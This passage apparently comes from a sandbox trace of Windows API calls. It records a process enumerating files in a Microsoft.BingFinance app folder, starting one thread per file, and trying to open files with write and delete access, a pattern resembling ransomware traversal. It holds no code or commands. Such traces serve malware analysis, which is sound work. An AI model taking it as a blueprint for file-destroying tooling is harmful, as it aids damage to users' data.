	[0079.232] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NumberFormattingInfo.json", cAlternateFileName="")) returned 1
	[0079.232] wcscmp (_String1="NumberFormattingInfo.json", _String2=".") returned 1
	[0079.232] wcscmp (_String1="NumberFormattingInfo.json", _String2="..") returned 1
	[0079.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4752070
	[0079.232] wcscpy (in: _Dest=0x4752070, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.232] wcscat (in: _Dest=0x4752070, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.232] wcscat (in: _Dest=0x4752070, _Source="NumberFormattingInfo.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json"
	[0079.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c
	[0079.233] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolsDefaultData.json", cAlternateFileName="")) returned 1
	[0079.233] wcscmp (_String1="ToolsDefaultData.json", _String2=".") returned 1
	[0079.233] wcscmp (_String1="ToolsDefaultData.json", _String2="..") returned 1
	[0079.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3ba20
	[0079.233] wcscpy (in: _Dest=0x2e3ba20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.233] wcscat (in: _Dest=0x2e3ba20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.233] wcscat (in: _Dest=0x2e3ba20, _Source="ToolsDefaultData.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json"
	[0079.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3ba20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140
	[0079.234] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WorldMarketMajorInfo.json", cAlternateFileName="")) returned 1
	[0079.234] wcscmp (_String1="WorldMarketMajorInfo.json", _String2=".") returned 1
	[0079.234] wcscmp (_String1="WorldMarketMajorInfo.json", _String2="..") returned 1
	[0079.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4752548
	[0079.234] wcscpy (in: _Dest=0x4752548, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.234] wcscat (in: _Dest=0x4752548, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.234] wcscat (in: _Dest=0x4752548, _Source="WorldMarketMajorInfo.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json"
	[0079.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144
	[0079.234] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WorldMarketMajorInfo.json", cAlternateFileName="")) returned 0
	[0079.234] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fbf0) returned 1
	[0079.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c9f0) returned 1

Thread:
	id = 728
	os_tid = 0x1a8c

	[0079.236] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml")) returned 0x20
	[0079.236] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.236] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.236] GetLastError () returned 0x5
	[0079.237] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.237] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c458) returned 1

Thread:
	id = 729
	os_tid = 0x1a90

	[0079.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d6feb8
	[0079.238] wcscpy (in: _Dest=0x2d6feb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.238] wcscat (in: _Dest=0x2d6feb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.238] wcscat (in: _Dest=0x2d6feb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*"
	[0079.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776cf25e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20c37f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.239] wcscmp (_String1=".", _String2=".") returned 0
	[0079.239] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776cf25e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20c37f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.239] wcscmp (_String1="..", _String2=".") returned 1
	[0079.239] wcscmp (_String1="..", _String2="..") returned 0
	[0079.239] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776cf25e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x776cf25e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x62f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.html", cAlternateFileName="")) returned 1
	[0079.239] wcscmp (_String1="bootstrap.html", _String2=".") returned 1
	[0079.239] wcscmp (_String1="bootstrap.html", _String2="..") returned 1
	[0079.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4752e00
	[0079.239] wcscpy (in: _Dest=0x4752e00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.239] wcscat (in: _Dest=0x4752e00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.239] wcscat (in: _Dest=0x4752e00, _Source="bootstrap.html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html"
	[0079.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1148
	[0079.240] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20cf06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0079.240] wcscmp (_String1="Themes", _String2=".") returned 1
	[0079.240] wcscmp (_String1="Themes", _String2="..") returned 1
	[0079.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x47688e0
	[0079.240] wcscpy (in: _Dest=0x47688e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.240] wcscat (in: _Dest=0x47688e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.240] wcscat (in: _Dest=0x47688e0, _Source="Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0079.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47688e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c
	[0079.241] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20cf06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0079.241] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6feb8) returned 1
	[0079.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c530) returned 1

Thread:
	id = 730
	os_tid = 0x1a94

	[0079.242] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd")) returned 0x20
	[0079.242] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0079.242] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.243] GetLastError () returned 0x5
	[0079.243] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0079.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f990) returned 1

Thread:
	id = 731
	os_tid = 0x1a98

	[0079.244] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd")) returned 0x20
	[0079.244] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", dwFileAttributes=0x20) returned 0
	[0079.244] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.245] GetLastError () returned 0x5
	[0079.245] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", dwFileAttributes=0x20) returned 0
	[0079.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752168) returned 1

Thread:
	id = 732
	os_tid = 0x1a9c

	[0079.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477f990
	[0079.246] wcscpy (in: _Dest=0x477f990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0079.246] wcscat (in: _Dest=0x477f990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\"
	[0079.246] wcscat (in: _Dest=0x477f990, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*"
	[0079.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20dbad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.246] wcscmp (_String1=".", _String2=".") returned 0
	[0079.246] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20dbad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.246] wcscmp (_String1="..", _String2=".") returned 1
	[0079.246] wcscmp (_String1="..", _String2="..") returned 0
	[0079.246] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20ead2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 1
	[0079.246] wcscmp (_String1="Personalization", _String2=".") returned 1
	[0079.246] wcscmp (_String1="Personalization", _String2="..") returned 1
	[0079.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4752ef8
	[0079.247] wcscpy (in: _Dest=0x4752ef8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0079.247] wcscat (in: _Dest=0x4752ef8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\"
	[0079.247] wcscat (in: _Dest=0x4752ef8, _Source="Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
	[0079.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4752ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150
	[0079.247] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20ead2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0079.247] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f990) returned 1
	[0079.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d460) returned 1

Thread:
	id = 733
	os_tid = 0x1aa0

	[0079.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2d6feb8
	[0079.249] wcscpy (in: _Dest=0x2d6feb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0079.249] wcscat (in: _Dest=0x2d6feb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\"
	[0079.249] wcscat (in: _Dest=0x2d6feb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*"
	[0079.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
